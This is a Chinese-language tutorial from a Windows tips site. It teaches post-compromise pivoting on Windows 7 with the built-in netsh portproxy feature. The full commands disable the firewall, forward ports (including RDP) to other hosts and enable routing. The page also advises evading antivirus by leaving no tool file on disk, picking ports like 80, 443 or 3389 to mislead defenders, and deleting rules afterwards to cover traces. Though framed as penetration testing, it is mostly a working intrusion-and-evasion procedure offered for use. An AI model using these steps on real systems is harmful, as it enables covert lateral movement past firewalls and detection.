Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Windows 綜合教學 >> 關於 Windows

Win7 滲透測試技巧:利用 netsh 端口代理實現隱蔽端口轉發

編輯:關於 Windows

前言

在滲透測試中,目標機器為 Windows 7 x64 且開啟防火牆。若需利用該機器訪問其他主機,又不想登入系統,常規做法是上傳 htran 進行端口轉發,但易被殺毒軟體查殺。本文介紹一種利用系統內建 netsh interface portproxy 實現無文件落地的端口轉發技巧,降低被發現風險。

操作步驟

  1. 暫時關閉防火牆
    netsh advfirewall set allprofiles state off
    (Win2003/XP 使用 netsh firewall set opmode DISABLE)
    亦可僅放行所需監聽端口,具體命令請自行查閱。
  2. 添加 IPv4 到 IPv4 的端口轉發規則
    語法:
    netsh interface portproxy add v4tov4 listenport=監聽端口 listenaddress=本機IP connectport=目標端口 connectaddress=目標IP
    範例:
    netsh interface portproxy add v4tov4 listenport=8002 listenaddress=0.0.0.0 connectport=8002 connectaddress=202.112.58.200
    netsh interface portproxy add v4tov4 listenport=5200 listenaddress=1.1.1.1 connectport=3389 connectaddress=2.2.2.2
    註:XP/2003 需先執行 netsh interface ipv6 install。
  3. 啟用 IP 路由轉發(如需)
    netsh interface ipv4 set int 介面編號 forwarding=enabled
    介面編號可用 netsh interface ipv4 show interfaces 查看。
  4. 恢復防火牆並清理痕跡
    netsh advfirewall set allprofiles state on
    任務完成後,刪除轉發規則:
    netsh interface portproxy delete v4tov4 listenport=監聽端口 listenaddress=本機IP

注意事項

  • 轉發端口會在系統網絡連接中顯示(R3 層實現),不如 Linux iptables 隱蔽,建議選擇具有迷惑性的常用端口(如 80、443、3389 等)。
  • 此方法無需上傳額外工具,屬「活著即是隱藏」類技術,適合已獲系統權限但需避開殺軟掃描的場景。
  • 操作完成後務必恢復防火牆狀態,並刪除轉發規則,減少留痕。
Copyright © Windows教程網 All Rights Reserved